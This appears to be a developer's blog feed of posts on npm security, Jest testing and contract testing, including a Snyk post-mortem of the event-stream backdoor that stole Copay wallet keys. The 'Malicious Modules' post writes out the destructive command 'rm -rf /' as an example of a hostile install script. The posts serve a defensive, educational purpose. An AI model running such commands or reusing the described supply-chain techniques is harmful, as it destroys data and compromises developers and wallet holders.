The provider contract testing is all about confirming that it didn’t break any API contract it has with it’s consumers.

To do that, we need to spin up a real instance of the provider’s API service, preferably with a real database as most probably it will need to mutate state. This means that it’s most suitable to run the provider contract testing in CI so the testing is closer to an integration or end-to-end test.

Once the provider API service is up, it is also required to make available an endpoint that can be called by the pact runners before each interaction is being performed in order to tell the provider which state to change to.

In essence, when the CI runs, the consumer contracts are fetched from the broker, and the provider API service is brought up to serve requests. The pact framework will read each consumer contract and start playing the requests one by one, before each of them it will advise the provider what state it is expected to be, and once the request has been sent, the pact framework will verify the interaction.

Once all the interactions have ran, upon both a successful or failed contract testing session the results will be sent back to the pact broker where they are recorded for inspection and visibility into this insight.

The DevOps Recipe — Putting it all together

The following is a sequence diagram depicting the entire flow across the Consumer, Broker and Provider.

Summary

Whether your APIs are RESTful HTTP calls, GraphQL-powered, or asynchronous messages — they encapsulate a contract between them and their consumers.

You most probably can not afford to break these contracts and this is where the Consumer-Driven Contracts pattern shines along with the Pact framework to enable your teams a platform of API contract management.

There are several ways to go about implementing Consumer-Driven Contract flows and they mostly depend on the R&D teams culture, their source code versioning workflows and DevOps readyness.

Assess your npm project health and call the doctor!

Mon, 18 Mar 2019 00:00:00 GMT

Tip 4: Assess npm project health (out of 10 npm security best practices)

Outdated dependencies

Rushing to constantly upgrade dependencies to their latest releases is not necessarily a good practice if it is done without reviewing release notes, the code changes, and generally testing new upgrades in a comprehensive manner.

With that said, staying out of date and not upgrading at all, or after a long time, is a source for trouble as well.

The npm CLI can provide information about the freshness of dependencies you use with regards to their semantic versioning offset. By running npm outdated, you can see which packages are out of date:

$ npm outdated

Dependencies in yellow correspond to the semantic versioning as specified in the package.json manifest, and dependencies colored in red mean that there’s an update available. Furthermore, the output also shows the latest version for each dependency.

Call the doctor

Between the variety of Node.js package managers, and different versions of Node.js you may have installed in your path, how do you verify a healthy npm installation and working environment?

Whether you’re working with the npm CLI in a development environment or within a CI, it is important to assess that everything is working as expected.

Call the doctor! The npm CLI incorporates a health assessment tool to diagnose your environment for a well-working npm interaction. Run npm doctor to review your npm setup:

$ npm doctor

Check the official npm registry is reachable, and display the currently configured registry.
Check that Git is available.
Review installed npm and Node.js versions.
Run permission checks on the various folders such as the local and global node_modules, and on the folder used for package cache.
Check the local npm module cache for checksum correctness.

I also blogged about a complete 10 npm security best practices you should adopt in a post that includes a high-resolution printable PDF like the snippet you see below.

So you think you're just gonna `npm install`? Think again

Mon, 11 Mar 2019 00:00:00 GMT

We embraced the birth of package lockfiles with open arms, which introduced: deterministic installations across different environments, and enforced dependency expectations across team collaboration.

Life is good! Or so I thought… what would have happened had I slipped a change into the project’s package.json file but had forgotten to commit the lockfile along side of it?

Both Yarn, and npm act the same during dependency installation . When they detect an inconsistency between the project’s package.json and the lockfile, they compensate for such change based on the package.json manifest by installing different versions than those that were recorded in the lockfile.

This kind of situation can be hazardous for build and production environments as they could pull in unintended package versions and render the entire benefit of a lockfile futile.

Luckily, there is a way to tell both Yarn and npm to adhere to a specified set of dependencies and their versions by referencing them from the lockfile. Any inconsistency will abort the installation. The command line should read as follows:

If you’re using Yarn, run yarn install --frozen-lockfile
If you’re using npm run npm ci

Thanks for reading and to Juan Picado from the Verdaccio team who worked with me on it. Check it out

How to avoid leaking secrets to the npm registry

Tue, 05 Mar 2019 00:00:00 GMT

It is important to take npm security into account for both frontend, and backend developers. Leaking secrets is an easy mistake that can happen for you at work or when you work on your open source projects.

Avoid leaking secrets to the npm registry

Whether you’re making use of API keys, passwords or other secrets, they can very easily end up leaking into source control or even a published package on the public npm registry.

You may have secrets in your working directory in designated files such as a .env which should be added to a .gitignore to avoid committing it to a SCM, but what happen when you publish an npm package from the project’s directory?

The npm CLI packs up a project into a tar archive (tarball) in order to push it to the registry. The following criteria determine which files and directories are added to the tarball:

If there is either a .gitignore or a .npmignore file, the contents of the file are used as an ignore pattern when preparing the package for publication.
If both ignore files exist, everything not located in .npmignore is published to the registry. This condition is a common source of confusion and is a problem that can lead to leaking secrets. Developers may end up updating the .gitignore file, but forget to update .npmignore as well, which can lead to a potentially sensitive file not being pushed to source control, but still being included in the npm package.

Another good practice to adopt is making use of the files property in package.json, which works as a whitelist and specifies the array of files to be included in the package that is to be created and installed (while the ignore file functions as a blacklist).

The files property and an ignore file can both be used together to determine which files should explicitly be included, as well as excluded, from the package. However note that when using both, the files property in package.json takes precedence over the ignore file.

When a package is published, the npm CLI will verbosely display the archive being created. To be extra careful, add a --dry-run argument to your publish command in order to first review how the tarball is created without actually publishing it to the registry.

In January 2019, npm shared on their blog that they added a mechanism that automatically revokes a token if they detect that one has been published with a package.

I also blogged about a complete 10 npm security best practices you should adopt in a post that includes a high-resolution printable PDF like the snippet you see below.

The State of — JSHeroes — 2019

Thu, 07 Feb 2019 10:18:48 GMT

The JSHeroes conference will take place this year in April and bring in people from all over the world to connect with new and old friends, and learn about new topics.

The State of JSHeroes 2019

The JSHeroes community and the organizers, in particular, are known to work with full transparency as is expected from a community-led conference.

Last year they shared the 2018 transparency report, as they have done so in the preceding year. In this spirit, I went ahead with plotting out a bit of the data we gathered from the Call For Papers (CFP) applications.

In total, we had 324 CFP applications sent to JSHeroes.
The highest number of applications submitted than previous editions.

I then went on with analyzing the time and dates the applications were submitted.

The CFP for JSHeroes 2019 officially opened on September 1st 2018, and closed 3 months later on December 2nd 2018.

When do people submit their CFP applications?
Apparently, the majority of the forms were submitted in an almost even distribution between these times of the day:

12pm to 4pm
4pm to 8pm
8pm to 12am

Since applications are sent around the world, and I didn’t cross-reference the time and origin of the person submitting the form we can’t really conclude much about the actual time of day.

Most of the submissions took place in November, but when exactly in November? It’s important to see a per-day chart because December wasn’t a full month where the CFP was open, it was merely the deadline happening on December 2nd, 2018.

When plotting out the daily chart for when applications were submitted we come to the inevitable and so obvious conclusion that people are big on procrastination.

As can be seen, the spike of CFP applications shows just how most of the traffic happened in the last few days before the CFP program closed.

I’m humbled and honored to join these awesome ambassadors and participate in another global event for JSHeroes.

Don’t hesitate to ping any of us if you have any questions, comments or ideas on how to get involved or anything we can help with. Please give us a ping and we’re excited about seeing you in April 2019.

The Agenda is coming together with many great speakers that you’re likely following already. I’m excited to hear everyone’s talk!

To continue the tradition from last year, JSHeroes also has a Workshop day planned for April 10th, a day before the conference.

What I like most about this year’s workshops is that they are incredibly diverse and different from each other. I’m pretty sure you’re going to find a topic you’d like to spend a few hours or a full day doing:

Consumer-Driven Contracts Workshop

This year, instead of a talk (I think 😁), I’ll be doing a workshop on testing Node.js Microservices, but it’s not just about Node.js itself.

How many times as a frontend engineer did you find that the API contract between the frontend and backend is not per what you expected? Someone got confused, misunderstood, or plain out missed to deliver per what you agreed.

The Consumer-Driven Contracts pattern is exactly what this workshop is all about, regardless of frontend or backend, but for the sake of the workshop we’ll practice it with Node.js API services.

I successfully implemented this concept and rolled it out within my engineering team in a previous roll and others in my previous organization and I’m excited about sharing everything I’ve learned.

Web Security for Frontend Engineers Workshop

Benedek Gagyi is going to run this workshop and provide great tips and security know-how to everyone who feels they are missing out on security jargon, and practices.

It’s a great pleasure for me to join this workshop on Ben’s invite and thrilled that we are making sure to give space to security topics in JSHeroes.

April 11–12, save the date!

Node.js Security WG — January 2019

Fri, 11 Jan 2019 16:01:00 GMT

In an effort to better promote and increase engagement in the Node.js Security WG we would like to share highlights more often, ideally each quarter, in the following areas:

Agenda — topics that we discuss and make their way into formal processes.
Security Reports Spotlight — sharing vulnerability reports for a selected set of modules or areas in the Node.js ecosystem or Node.js core project.
Celebrating new WG members or other general announcements.

Quarterly Agenda Topics

1. Security Bounty Program for Node.js Core and Ecosystem

We have two HackerOne programs that are on track, a third-party modules ecosystem where we triage reports for modules found on npm as well as a Node.js core program for security vulnerabilities reported directly on the Node runtime.

Statistics with regards to the ecosystem program:

95 reports written by 17 hackers have been handled
84% of reports have been accepted as valid
8% were not applicable

Overall, the quality of reports is pretty high and a solid base of hackers help keep the ecosystem safe. However, most reports only concern very low popularity modules (less than 100 download a month).

Statistics with regards to the Node.js core program:

Only 3 reports by 2 hackers have been resolved
15% of reported issues are actually valid security bugs
60% of reports were considered as not valid

The Node.js core program is in pretty good health, although most reports are not found to be valid regarding the scope of the program. Still, hackers show a great enthusiasm toward this program.

Since this program can award bounties to hackers thanks to the Internet Bug Bounty, hacker community is paying more attention to Node.js core.

Overall, both programs are still pretty young (less than 1 year old) but we can expect them to grow further in the future.

— By Vladimir de Turckheim (https://github.com/vdeturckheim)

2. Machine Readable Format for Vulnerabilities

One of the key activities for the Security WG is disclosure triaging and organizing the processes around security vulnerabilities for Node.js core and the ecosystem. The end result of that process is a maintainable and up-to-date vulnerability database that can be freely queried and inspected by individuals and organizations to assert whether Node.js, or a package of specific version is vulnerable.

This means that the vulnerability database is expected to be consumed in a programmable manner, and one that makes it rather easy and clear to fetch metadata without having to create wrappers on the report such as parsing the author field of a report to extract the email address.

To enable that, we’ve set out to update the vulnerability report format so that it is easy for individuals to consume it (https://github.com/nodejs/security-wg/issues/200) via programmatic APIs and we are collecting feedback from the community on that.

The feedback we gathered so far has been instrumental in merging several improvements already and there’s room to express opinions for more topics so this is an open invite to further participate in the Security WG repository (https://github.com/nodejs/security-wg) if this topic interests you.

Example report:

— By Liran Tal (https://github.com/lirantal)

3. Nodejs.org now has a SECURITY.TXT

Node.js has joined a growing number of projects that use the methodology of security.txt files, an emerging standard that helps organizations describe the process for security researchers to disclose vulnerabilities in a secure manner.

Security researchers need a way to responsibly disclose their findings to affected companies and website owners. Sometimes this is not easy and requires researchers to find their way through support ticketing systems or use social media to reach out to corporate security teams. security.txt files seek to close this gap by providing all the information need to disclose a security vulnerability in one place at a well-known location.

The information provided usually includes an e-mail contact with an optional PGP key to encrypt sensitive disclosure details, as well as a link to the vulnerability disclosure policy file and possibly also to security researchers’ hall of fame.

Node.js security.txt file can be found here: https://nodejs.org/.well-known/security.txt

— By Marcin Hoppe (https://github.com/MarcinHoppe)

Node.js Core Security News

The prior year ended with security updates for all maintained Node.js versions were released in November 2018. Many thanks to those who reported and helped resolve the issues:

Matteo Collina for a significant amount of work fixing vulnerabilities.
Sam Roberts for the OpenSSL upgrades, other code contributions and assisting in the preparation of these releases.
Ben Noordhuis, Fedor Indutny and Benno Fünfstück for code contributions.
Trevor Norris, Jan Maybach, Martin Bajanik, Arkadiy Tetelman for reporting vulnerabilities.

One of the important changes to the HTTP module in the recent Node.js 10.14.0 release was lowering the limit for the maximum HTTP header size across all release lines, including LTS, which turned out to be problematic for some users. A series of patch releases followed to allow the limit to be configurable at run-time.

See https://nodejs.org/en/blog/vulnerability/november-2018-security-releases for more information.

2018 was also the year when someone used social engineering to gain control of a popular module distributed via npm and inject malicious code into it. One positive outcome of this is a heightened interest in how packages are maintained, and what the Node.js community can do to help. The Package Maintenance group was already forming to coordinate work on the important issue of package maintenance. The wide publicity around this incident accelerated interest in it.

— By Sam Roberts (https://github.com/sam-github)

Security Reports Spotlight

Selected reports by various bug hunters:

chalker — base64-url below 2.0 allocates uninitialized Buffers when number is passed in input https://hackerone.com/reports/321692
patrickrbc — Unrestricted file upload (RCE) in express-cart https://hackerone.com/reports/343726
tunkpun — serve directory listing and file access even when they have been set to be ignored https://hackerone.com/reports/330650
defmax — Command injection in pdf-image https://hackerone.com/reports/340208
bl4de — query-mysql SQL Injection due to lack of user input sanitization allows to run arbitrary SQL queries when fetching data from database https://hackerone.com/reports/311244

Thank You Bug Hunters!

We’d like to extend our gratitude to the ethical hackers and security researchers who volunteer their time to help make the Node.js ecosystem more secure by submitting security reports for vulnerabilities discovered in Node.js core or 3rd party modules (npm).

New WG Members

In the 2nd half of 2018 we also celebrated the addition of the following members to the Ecosystem Triage team:

We’re happy you joined us!

—

Interested in learning more about the Security WG activities?
Get involved: https://github.com/nodejs/security-wg

A Snyk’s Post-Mortem of the Malicious event-stream npm package backdoor

Thu, 06 Dec 2018 17:39:09 GMT

Last week the imaginable happened. A malicious package, flatmap-stream, was published to npm and was later added as a dependency to the widely used event-stream package by user right9ctrl. Some time, and 8 million downloads later, applications all over the web were unwittingly running malicious code in production. We wrote some early thoughts on our blog last week, moments after the incident came to light, but are now able to perform a deeper post-mortem including a timeline of the events as they took place. Thanks go to many others who also investigated this issue, and in particular GitHub user maths22, who reverse engineered the malicious code.

What is the event-stream package?

The event-stream package is a toolkit that provides utilities to creating and managing streams. Authored by Dominic Tarr (~dominictarr on npmjs), it is one of 422 packages he owns on npmjs. The event-stream package has a total of 84 releases, dating back to v0.5.2, in 2011, and having regular releases up until version 3.3.4, two years ago.

Throughout event-steam’s total development, it received contributions from 33 different contributors, but most of its contributions were delivered in its early days and has only reviewed minor changes since then:

The project had received over 2000 stars, been forked 139 times and 62 GitHub users have signed-up for notifications on any changes happening in the project. The project was used by 3931 other packages (excluding scoped packages).

The Timeline of Events

Here is a timeline showing some of the major milestones in the project history, and the key moments during the malicious incident. We’ll look into each point on the timeline, and more, in detail below.

Chain of Events

We’ll take a look at the chain of events which led up to the use of the malicious flatmap-stream package. These events were researched from public GitHub information, Google cache, and npm.

31st July, 2015: GitHub user, devinus, comments on an issue on the event-stream project questioning whether a flatmap functionality would be welcomed, to which the package maintainer, dominictarr, replies positively stating that a user contribution would be accepted:

We could speculate that the later to be discovered malicious user right9ctrl could well have used this information to plan and execute an elaborate social engineering attack on the project.

August 5, 2018: a user who identified as “Antonio Macias” in npm created and published a non-malicious package called flatmap-stream.

Next, Antonio Macias proposed that the event-stream project used in the flatmap package. GitHub user right9ctrl approached Dominic Tarr asking to assist with the project and to make the necessary changes to introduce the flatmap functionality, by pulling in the flatmap-stream dependency. Dominic accepted right9ctrl’s offer and makes them a contributor to the event-stream GitHub project, as well as gave right9ctrl full npm publishing rights for the module on the npm ecosystem. Dominic later confirmed during the incident report that he no longer had any publishing rights for the module on npm to remedy the incident (i.e. by removing the infected 3.3.6 version from npm)

Soon after, a series of innocuous commits were pushed by right9ctrl to the event-stream GitHub repository:

September 16, 2018: flatmap-stream was removed from the event-stream code in 908 and from the dependency tree in 2bd and released as a major version, 4.0.0

September 20, 2018: right9ctrl adds further cosmetic code changes that enhance the project’s keywords in 60d to presumably further improve the search results on the official npmjs.com registry website

October 5, 2018: a new minor version flatmap-stream@0.1.1 was released with the injection attack in its minified source code. Installations of event-stream will now also fetch the new infected 0.1.1 version of flatmap as a transient dependency.

There is no more evidence of any further work to the event-stream project by the right9ctrl user, whose profile has now been removed from GitHub and npm, although can still be accessed via Google cache for introspection:

October 29, 2018: jaydenseric opened an issue against nodemon reporting an unexpected deprecation warning. This message is in line with OpenSSL’s recommendation to use a more modern algorithm instead of EVP_BytesToKey it is recommended that developers derive a key and IV on their own using [crypto.scrypt()](https://docs.google.com/document/d/19g1krCBUjjPyz7mkKT-xNoJXIG_PQYcZCm0HfcH8DnM/edit) and to use [crypto.createDecipheriv()](https://docs.google.com/document/d/19g1krCBUjjPyz7mkKT-xNoJXIG_PQYcZCm0HfcH8DnM/edit) to create the Decipher object.

November 19, 2018: NewEraCracker opened an issue against event-stream.

November 19, 2018: NewEraCracker opened an issue against nodemon.

November 20, 2018: FallingSnow suspects it’s an injection attack.

November 20, 2018: FallingSnow opens the issue against event-stream.

November 26, 2018: flatmap-stream package got removed from npm.

November 27, 2018: Snyk published a blog post on the issue.

The Target: Copay

Upon a more detailed inspection of the flatmap-stream code, we can see that this was a surgically targeted attack on Copay, a secure bitcoin wallet platform.

The malicious flatmap-stream code was downloaded millions of times, and executed many million more. The attackers could have done countless evil things here. But instead, their strategy was to wait for the opportunity to be executed when the Copay app was being built. They succeeded, and were built into Copay versions 5.0.2 to 5.1.0.

The decryption code looked for the key in an environment variable named npm_package_description. This environment variable is set by npm in the root package’s description. It would be only be decrypted if the client application was the bitcoin wallet, Copay, which used the key to decrypt the payload as “A Secure Bitcoin Wallet”. The latter was found by maths22 as he brute forced various npm package descriptions.

To work this out, the user, maths22, enumerated over different npm package descriptions, using them as keys, to decrypt the payload. However this wasn’t all, the second payload would execute upon running a specific build commands, essentially only when the ios, android, or desktop applications are being built.

The third and final payload is JavaScript code that will be injected into another dependency, namely ./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js. This was then executed within the app itself, unlike the first two payloads which were executed during build time.

The malicious code harvested Bitcoins along with the wallet private keys, if the wallet balance was above 100 Bitcoins or 1000 BHC (Bitcoin Cash). Copay issued the following advice to their users:

Users should not attempt to move funds to new wallets by importing affected wallets’ twelve word backup phrases (which correspond to potentially compromised private keys). Users should first update their affected wallets (5.0.2–5.1.0) and then send all funds from affected wallets to a brand new wallet on version 5.2.0, using the Send Max feature to initiate transactions of all funds.

The further suggested that users “should assume” their private keys may have been compromised, and react by “immediately” moving any holdings to new, secure v5.2.0 wallets.

From the post-mortem of the events and the attack, we can see that this was a well planned and well executed attack, which was performed by professionals and likely took months of preparation.

Conclusion

The series of events that have been described in this blog are another reminder of how fragile the open-source model can be if not respected. If widely used packages, such as event-stream, were supported by just a small proportion of those who consume it, and take value from it, the malicious takeover could easily have been avoided. The event-stream package was included as a dependency all over the npm ecosystem, being included in at least 3931 packages as a dependency. Most notably, affecting top level packages such as: @vue/cli-ui, vscode, nodemon, and ps-tree.

The malicious package could have even remained unnoticed if not for the deprecation message that caused Jayden Seric to open an issue on the nodemon package. Otherwise, it’s likely it would have not been found for a long time.

Snyk are are big advocates for responsible disclosure and practice security research as part of their security culture and have a history of collaboration with open source project maintainers.

If you discover a vulnerability that you would like to responsibly disclose Snyk would love to help if you send a responsible disclosure form.

Originally published at https://snyk.io on December 6, 2018.

Fighting npm typosquatting attacks and naming rules for npm modules

Tue, 18 Sep 2018 01:01:01 GMT

I guess naming is a hard task in general, and for the npm registry, the naming rules have evolved from what they were to begin with, much of which was about mitigating typosquatting attacks.

Uppercase vs Lowercase

In the beginning, the npm repository was case-sensitive and allowed to publish the same package names with different cases.

This lead to the fact that we now have the following two different modules in the repository:

While the latter has been deprecated in favor of the first, they are still different packages.

The registry maintains any existing package names with upper case to not break dependency chains in the ecosystem, but it doesn’t allow anymore (for quite some time) to submit any packages with an uppercase.

Fighting Typosquatting

Another stance that triggered naming rules updates on the npm registry has been the typosqautting attacks we’ve been seeing for a while.

With typosquatting, bad actors could publish malicious modules to the npm registry with names that look much like existing popular modules. The intent being to fool users into installing them, either by driving them to do so through targeted actions or just by mistake — a typo.

You might have heard about the cross-env horror story where a package called crossenv (notice the typo), mimicked the original one but was also kind enough to send all of your environment variables and the passwords and API keys you have in them, to a remote server.

This prompted the npm registry folks to fight typosquatting attacks at the naming level and establish the following:

No new modules are allowed to be published that their names are an exact match with an existing module given that you strip off any punctuation chars.

The npm blog explains this easily with a react-native example — all of the following module names will be disallowed:

react_native
react.native
re.a_ct-native

Naming rules you should follow:

Can’t start with a .
Can’t start with a _
Can’t have leading or trailing spaces
It can’t be node_modules and it can’t be favicon.ico
It is limited to 214 characters
No capital letters allowed, only lowercase.
These special characters are not allowed: “~\’!()*”)’
Module names must adhere to the typosquatting rules mentioned above

The above rules are largely based off of validate-npm-package-name which is used internally by npm itself:

npm/validate-npm-package-name
_validate-npm-package-name - Is the given string an acceptable npm package name?_github.com

Demystifying Jest Async Testing Patterns

Thu, 09 Aug 2018 11:47:06 GMT

There are several traps that are easy to fall to when it comes to async testing. Moreover, there are several methods of achieving the same thing depending on your flavor.

An important insight a developer can possess is what bad practices NOT to follow and identifying bad code patterns.

In this post I’d like to demystify some of these async patterns and highlight the traps that are hidden inside.

Expecting Promises

Imagine a world without Async/Await.

In the following use-cases we have an async function somethingAsync that does some business logic which we want to test and returns a promise, maybe we also stub some of it, but that’s not really the point.

One pattern of assertions can be to call this stub or actual subject under test and once the promise resolves we chain it to a thenable that allows to assert on the result using Jest’s custom matchers.

Here is an example:

The thing is , the above test is not written well — It will always pass.

Because we aren’t returning the promise from the test then Jest has no idea that this test is asynchronous so it just calls the promise and continues on. Since no expectations triggered any errors the test pass.

The semantics are important to understand:

As it is, with somethingAsync rejecting the promise the test itself will pass and there will be a warning for an unhandled promise rejection since there’s nothing to catch it.
If you change the return value of somethingAsync to resolve instead of rejecting, then something even worse happens — the expect is never reached and you get a false positive with no indication that the test is not really testing anything.

There’s another variation of the above and that is to wrap any promise with expect and use its built-in matchers to assert on the return value.

It looks like this:

It’s easy to fall into the trap of this methodology as well because we’re used to asserting data structures or possibly synchronous function calls.

So the above snippet is also broken — While the expectation is called, there is no way to assert on its return value since the test code has already ended.

The outcome of the above snippet will be either a blindly passing test, or a test that passes with additional log output due to the unhandled promise rejection and the missed expectation.

It looks something like this:

The solution for both of the methods laid out above are to return the promise as can be seen in the following example:

When Errors Go Lost

We’re back to our Async/Await world. Yay!

In the following use-case we are hoping to drive the application towards throwing an error and rejecting the promise and we want to catch it and match the error message.

A tempting approach is to catch the error thrown, since you know that getUserName is going to throw, and assert the exact error object and message:

There’s a very common error here though, and that’s the fact that if the getUserName() async function would have been refactored in a way that would actually resolve the promise then the test would blindly pass, therefore rendering this test useless and providing a false positive where it should’ve failed.

If you’re keen on the try/catch block, one way to deal with the above problem is to declare an expected assertion count as follows:

2 changes in the above code snippet are:

We updated the getUserName() to resolve in order to simulate a code refactoring that changed the logic.
We added an expected assertion count to the test itself

The above test is going to end with no assertions made due to the catch block not being reached. Jest will then fail the test as it missed the expected assertions count.

Explicit Expectations

I find assertions count somewhat non-elegant.
Fortunately, there’s another way.

Jest has matchers for promises that can assert a resolved or rejected promise.
I find this way to be more explicit and self-explaining on what the test is doing or expecting.

Let’s change the above test:

You should still remember the golden rules of testing asynchronous code — always return a promise (return the expect) or make sure to await the expectation to unwrap the promise’s return value.

Expecting Assertions

A final note on when to use and when to avoid assertions planing (based off of Ava’s reference):

Avoid expect.assertions(N) when:

Your tests are synchronous
You are using promises (in which case, just return the expectation)
You are using async/await with try/catch (again, just await the expectation)

Use expect.assertions(N) when:

Your test has conditionals — and therefore, you may have in one branch of code one expectation, and in the other several. This makes it impossible to plan your exact assertions count, but luckily you can use the expect.hasAssertions() to verify that at least one assertion has been made.
Your asynchronous test code uses callbacks — if you are asserting inside those callbacks then you want to make sure you define your expected assertions so that you can be sure the callback was indeed called and asserted.

Happy Jesting! 😋

Malicious Modules — what you need to know when installing npm packages

Tue, 17 Jul 2018 09:56:53 GMT

What if someone was able to directly publish a new vulnerable React version?

What if someone gained direct publish access to popular npm modules?
More precisely these are the numbers:

Read on to understand why, and how it can happen.

Understanding security concerns in the npm ecosystem is an absolute must for anyone who is doing JavaScript related development.

Whether you’re a consumer of a package, or an author of one, you should be familiar with the security concerns presented here.

Malicious Modules

npm is an open ecosystem, where anyone with an e-mail address can contribute a module to the repository, and in turn, any user with an npm client installed can consume it.

But what makes a module malicious?

Upon requiring it, the module could gather information from your system or network, and send it out to a 3rd party.
Upon installing it, the module could have an install phase, where it will run destructive commands, for example: rm -rf /

By now you’re thinking “but who would consciously install a malicious module?”

Typosquatting — an attack in which malicious modules are named similar to real modules and could accidentally be installed by a user typo, or phishing websites.

This problem isn’t unique to npm either — it hit both ruby and python as well.

You’re welcome to read a very interesting and detailed research on the subject by Nikolai Tschacher — Typos in package managers — A Bachelors Thesis in Computer Science

Malicious Contributors

A private case of malicious modules is where malicious contributors may send you a PR with a backdoor, or an added project dependency of their own, which is of course malicious.

You might not notice it or code-review, and there you have it — you bundled it straight with your own module.

Compromised Contributors

Raise your hand if you ever submitted a module to npm.

What would happen if malicious attackers would be able to get their hands on user credentials for module authors or contributors of key modules?

Nikita, a member of the Node.js CTC released his findings since almost a year ago about weak passwords that npm module authors use.

ChALkeR/notes
_Some public notes_github.com

He gained (?) module publish permissions to the following modules,
I don’t know if you ever heard of them:

react
debug
request
koa
winston
mysql

A Safer World

As a user, you should pay a greater attention of what modules you are installing. Don’t copy&paste anything blindly.
The npm folks themselves have recognized the problem and taken pro-active measures to make typo-squatting a problem.
Read more in their blog post about it: New Package Moniker rules
Still, as a user you may want to take extra precaution of not executing install lifecycle scripts when modules get installed/uninstalled. FYI it may break some modules that depend on those lifecycle scripts. This can be done with npm config set ignore-scripts true
Npm’s recent acquisition of ^Lift and it’s Node Security Platform means it is possible to better integrate between the npm client and security concerns like checking vulnerabilities when you install/ad-hoc.
This has been made available through the latest npm@6 release: https://docs.npmjs.com/getting-started/running-a-security-audit
Make use of tools like Snyk that will let you know if a module you are installing is known to be malicious or have vulnerabilities. It is still relevant as Snyk is considered to have the largest and most up to date vulnerabilities database, plus you are able to patch packages which don’t have a fix yet, and track everything through their platform.
As a module author enable 2FA on npm, and use tools like Snyk in your CI.
As a module author, make sure you aren’t re-using passwords from other accounts (this is a good tip in general), and make sure your password is strong enough.

Consider using npq

A shameless plug to a tool I developed almost 8 months back —

Sharing the same concern as others that when I’m about to install a package it might be malicious, how can I further vet it before I’m even installing it on my disk?

That’s where npq comes in — it has a basic set of checks to run against any packages you’re about to install, for example:

Does it have a pre/post install script?
Is it pretty new on the registry or has a low level of downloads?

If one of the packages raises concerns, it will show you the details and if it’s a false positive or just a warning you’re able to continue with the installation process.

The cool thing about it is that you can alias npq-hero to npm or yarn and it will just work silently behind the scenes for you regardless if you’re using onr or the other.

Remember, your app is not your own 500 LOC.
It’s a plethora of dependencies you rely upon and ship to production alongside your own code…

What would you focus on when hiring engineering vp for a team of 10?

Sun, 01 Jul 2018 00:00:00 GMT

Let’s assume you are tasked with hiring a VP Engineering for a relatively small team, say 10 engineers, which is on a growth trend as the company gets bigger.

What topics and areas would you expect to cover?

Here are my raw thoughts on the subject:

An Engineering Culture: responsible for shipping quality products (dev owns quality), clean code/clean architecture, opposed to quick&dirty or delivering fast due to deadlines and product pressure. Automation as much as possible (i.e: no manual deployment of servers, no manual QA), designs and architecture that allows scale and growth, but not handling imaginary problems such as a premature optimization where you get lost in building for 1M while you only have 1000 users.
Continuous Improvement: delivering features and products is nice, even if you do CI/CD, saying you do agile is nice. BUT, you also need to learn from it. Meaning, retrospectives are important, lessons learned are important. A mindset of always pushing forward to make things better and evaluating what can be improved.
Engagement: it’s easy to get distracted into the technical stuff, code reviews, technologies etc, but I believe that for developers to build great products they really need to understand the customers, pains, context, etc. therefore product and customer engagement is key.
Empowerment and Mentoring: at the end of the day people are people and not robots or resources. They want to be recognized and appreciated, they want to be challenged, learn and explore new things. They need a fostering environment where they feel safe to take risks, consult, evaluate and a mentor that guides/supports them through the process they are making.

What do you think? What other key items would you evaluate?

Reasons to Love Jest: The Developer Experience

Thu, 28 Jun 2018 05:50:45 GMT

Oh yes. The Developer Experience with Jest is transforming the act of writing tests from a chore to hell of a fun time, promise! 🤓

This post is a follow-up from my previous post about Jest’s Framework:

Reasons to Love Jest: The Test Framework - Liran Tal - Medium
_I really enjoy writing tests, and Jest takes it to a whole new level. It’s like I get up in the morning and ask myself…_medium.com

The Logo

Aww, the logo. Isn’t it just good?
Like it’s trying to tell you “are you gonna write tests? this is gonna be fun!”
And just like that it lures you in

Ok but seriously though, I just needed an item on the left-side to sort of align the rest of the items. Forgive me 🤷‍.️

An anecdote on the logo if you will —
Recently I learned the Jest logo was created in a last minute sketch up by James Pearce where he iterated over several options (twitter reference) but more amusingly Christoph Nakazawa mentioned that the … circles positioned next to each other reminds him of a loading animation which is correlated with slowness :-)

Visual Diff and Effective Verbosity

A big part of good developer experience is increasing your productivity.
When it comes to testing, when tests fail, you want to quickly identify what went wrong with the test.

Take this code snippet for example:

It has a typo in the test’s source code.
This is how Jest would show the error in the console:

It provides great context into the actual file, the line number, and arrows to point to the exact problem and colors the code with a syntax highlighter too.

Are you going to compare two objects in your assertions?
No problem at all. Jest is so verbose that it will show this great diff even for nested keys that are different between the objects you’re comparing:

side note: Jest has been made very modular and many of its capabilities were moved out to individual modules that the community can make use of.

If you fancy the above diff’ing you can use it in your own project, see here: http://jestjs.io/docs/en/jest-platform.html#jest-diff

Relaxed Conventions

Test suites conventions

If you’re coming from different test runners or frameworks, you’ll know that they differ in their test suites syntax.

Some use describe.only(), in others you can only have _test().
_In some of them you disable a test by test.skip() while in others it’s xit().

With Jest, it doesn’t matter.
It does its best to optimize productivity instead of strict conventions.

You can write test(), or a nested describe() and test(), or just use _it().
_No brainer.

Which file naming convention should you use for tests?
Who cares! 😜

Jest will automatically pick up any *.test.js or *.spec.js file extensions, as well as any files in a __tests__ directory.

Friendly CLI

Jest has a friendly CLI that will help you figure out what you mean incase of spaghetti fingers:

Sure, it’s not a time travel but it’s another corner stone in Jest’s productivity boosting and developer friendliness.

It’s the little things that matter the most.

Test Doubles

In automated testing, where we write and execute unit and integration tests, it is a common practice to make use of different kinds of test doubles to isolate different parts of the system.

There are different methods of isolation with different goals and behaviors, but they are all collectively referred to as test doubles.

Where as other libraries like Sinon require you to explicitly declare and choose a type of a test double for your test (a stub, a mock, a spy), Jest wraps everything into a single entry point called the Mock object (jest.fn).

The Mock is accessed and used in different ways through the test code, still essentially you don’t need to bother yourself with such decisions in your test code about types of test doubles. It’s another productivity gain with Jest.

That said, you should still understand testing principles.

Suggested reading about Test Doubles in Martin Fowler’s blog: https://martinfowler.com/bliki/TestDouble.html

Immersive Watch Mode

Some benefits of Jest’s watch mode that streamlines your development workflow:

The obvious being — instantly running tests as changes occur (in the IDE, or say you switch a branch).
Jest resolves which tests to run automatically for you.
It manages metadata about your source code so it can learn how to run only the relevant test files when a source code file is changed.
Jest’s interactive watch mode will show you if you’re filtering for any file types. For example, if you ran jest with a specific glob path, it will display it as an active filter:

No longer test.only() making it into your test code, and accidentally slipping into your PR. With Jest you can easily filter a test run by it’s filename or test name straight from the console. So just filter by the test name, and only it will get re-run whenever you make changes to the test file:

Other things you should know about the test runner:

Jest will run the slowest tests first to optimize for parallel CPU work and decrease overall test run times.
Jest will run previously failing tests first to provide a quick feedback loop
